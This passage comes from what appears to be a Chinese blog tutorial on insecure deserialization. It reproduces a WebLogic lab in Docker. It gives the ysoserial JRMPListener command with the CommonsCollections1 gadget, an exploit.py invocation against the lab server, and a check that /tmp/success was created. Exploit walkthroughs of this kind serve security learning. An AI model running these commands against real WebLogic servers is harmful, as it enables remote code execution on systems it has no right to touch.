草莓味的棉花糖|不安全的反序列化( 四 )


草莓味的棉花糖|不安全的反序列化
草莓味的棉花糖|不安全的反序列化初始化整个环境:

草莓味的棉花糖|不安全的反序列化启动一个JRMP Server:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/success'使用exploit.py脚本 , 向Weblogic发送数据包:
python exploit.py 192.168.152.158 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.152.156 1099 JRMPClient进入容器:
docker-compose exec weblogic bash
草莓味的棉花糖|不安全的反序列化/tmp下成功创建success!


推荐阅读